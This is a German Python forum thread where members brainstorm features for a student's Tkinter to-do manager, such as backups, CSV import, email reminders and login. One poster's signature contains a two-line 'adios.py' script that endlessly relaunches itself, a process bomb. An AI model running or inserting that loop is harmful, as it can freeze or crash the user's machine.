Hallo!
ICh wollte einen ToDo-Manager schreiben... ich bin mir aber noch nciht sicher, was der alles können sollte...
Ich will ihn nächstes Jahr auch zur Planung meiner Seminarfacharbeit verwenden...
für die Oberfläche wollte ich Tkinter nehmen. Ich kann diese aber auch variablel gestalten. (Wenn jemand eine andere Oberfläche machen will)
erste Ideen:
-Willkommensseite mit anstehenden Terminen/Aufgaben
-Aufgabengruppen (selbst definierbar), Wichtigkeiten
-wiederkehrende Termine/Aufgaben
-Speichern, Backups in Dateien per Pickle? (oder doch .txt?)
-Aufgaben/Termine:
-Titel
-Beschreibung
-Datum
Wenn Ihr noch Ideen habt würde ich mich freuen...
mfg Jan
EDIT:
-Emailversand von Terminen
-Import/Export von CSV-Files
-Import einzelner Termine aus Backup-File
-Login für verschiedene Benutzer
ToDo-Manager
- DatenMetzgerX
- User
- Beiträge: 398
- Registriert: Freitag 28. April 2006, 06:28
- Wohnort: Zürich Seebach (CH)
*Evt. Benutzer die Möglichkeit geben auch andere Files zu laden (z.B Backup file).
*Termine per Mail versendbar
*Termine per Mail versendbar
- DatenMetzgerX
- User
- Beiträge: 398
- Registriert: Freitag 28. April 2006, 06:28
- Wohnort: Zürich Seebach (CH)
z.B. aus diesem file
-Speichern, Backups in Dateien per Pickle? (oder doch .txt?)
Wenn ich ausversehen ein Termin gelöscht habe, möchten ich überprüfen ob er im Backupfile vorhanden ist. Und da möchte ich nicht dem Backupfile den namen vom Orginalfile geben.
Was noch toll wäre. Vom einten File (Backup file) Termine importiren / kopieren. Aber nicht alle sondern nur ausgewählte...
-Speichern, Backups in Dateien per Pickle? (oder doch .txt?)
Wenn ich ausversehen ein Termin gelöscht habe, möchten ich überprüfen ob er im Backupfile vorhanden ist. Und da möchte ich nicht dem Backupfile den namen vom Orginalfile geben.
Was noch toll wäre. Vom einten File (Backup file) Termine importiren / kopieren. Aber nicht alle sondern nur ausgewählte...
- newone_XXV.
- User
- Beiträge: 50
- Registriert: Dienstag 20. Juni 2006, 15:03
- Wohnort: Direkt vor meinem PC
- Kontaktdaten:
Mh zur Datanbank: Keine Ahnung, aber die Module erscheinen mir schon sinnvoll... Aber ich muss dazu sagen: mein grösstes war bis jetzt das unter den 5 kleinen Programmen...
Vllt. so Kalender mäßig aufbauen ... das man genau sieht was bis wann fertig werden soll!
Als Backend würde ich dir cPickle empfehlen ist einfach schnell und reicht vollkommen dafür
mfg
SigMA
Als Backend würde ich dir cPickle empfehlen ist einfach schnell und reicht vollkommen dafür
mfg
SigMA
Leichtdio.de - Das Kreativ-Blog
http://www.leichtdio.de
http://www.leichtdio.de
Eventuell noch ein kleines Login Programm schreiben, wo sich der Benutzer erst einloggen muss, um an seine Aufgaben zu kommen. Damit kann der Benutzer (im Normalfall) dann sicher sein, dass nur er seine Termine etc lesen kann. Sowas mach ich nähmlich gerade bei meinem Adressbuch.
mfg
Thomas :-)
Thomas :-)
- gerold
- Python-Forum Veteran
- Beiträge: 5555
- Registriert: Samstag 28. Februar 2004, 22:04
- Wohnort: Oberhofen im Inntal (Tirol)
- Kontaktdaten:
Hi Jan!jAN hat geschrieben:ICh wollte einen ToDo-Manager schreiben... ich bin mir aber noch nciht sicher, was der alles können sollte...
Vielleicht hilft dir ein Seitenblick auf ein anderes Produkt, um dich noch ein wenig zu inspirieren.
http://www.duke.edu/~dgraham/wxRemind/
lg
Gerold
http://halvar.at | Kleiner Bascom AVR Kurs
Wissen hat eine wunderbare Eigenschaft: Es verdoppelt sich, wenn man es teilt.
Wissen hat eine wunderbare Eigenschaft: Es verdoppelt sich, wenn man es teilt.
evtl wäre auch ein Client Server System nett, damit Leute aus einem Projekt auf eine ToDo Liste zugreifen können.
SigMA
SigMA
Leichtdio.de - Das Kreativ-Blog
http://www.leichtdio.de
http://www.leichtdio.de
-
- User
- Beiträge: 170
- Registriert: Samstag 4. Juni 2005, 18:51
- Wohnort: Großmehlra (in Thüringen)
- Kontaktdaten:
Das ist bis jetzt mein größtes Projekt.
Das mit dem Client-Server-System kann man vllt noch integrieren wenn es fertig ist...
ich muss erstmal anfangen... aber ich weiß nicht wo...
Das mit dem Client-Server-System kann man vllt noch integrieren wenn es fertig ist...
ich muss erstmal anfangen... aber ich weiß nicht wo...
#adios.py
import os,sys
while 1: os.startfile(sys.argv[0])
import os,sys
while 1: os.startfile(sys.argv[0])
mal dir ein bild, was worauf zugreift und wovon abhängt.
mir hilft das zur Zeit total, erstmal struktur dareinzubringen.
mir hilft das zur Zeit total, erstmal struktur dareinzubringen.
http://www.cs.unm.edu/~dlchao/flake/doom/
schreib einfach drauf los^^ Am besten erstmal alles auf Console (vllt. schau dir mal andere ToDo Listen im Internet an). Versuch die Consolen grundversion total erweiterbar schreiben. Dann kannste GUI etc alles als Module dazu schreiben (und natürlich auch jeder der will)
SigMA
SigMA
Leichtdio.de - Das Kreativ-Blog
http://www.leichtdio.de
http://www.leichtdio.de
also ich könnte dir als tipp in sachen modularität mal empfehlen mein (momentan nicht aktives) projekt anzuschauen. Hat zwar nix mit Kalendern zu tun, aber es ist modular ohne ende
http://psy.modprobe.de/szs.tmp.html
Viel Spaß damit... wenn du Fragen hast, kannst du auch PMs schreiben
http://psy.modprobe.de/szs.tmp.html
Viel Spaß damit... wenn du Fragen hast, kannst du auch PMs schreiben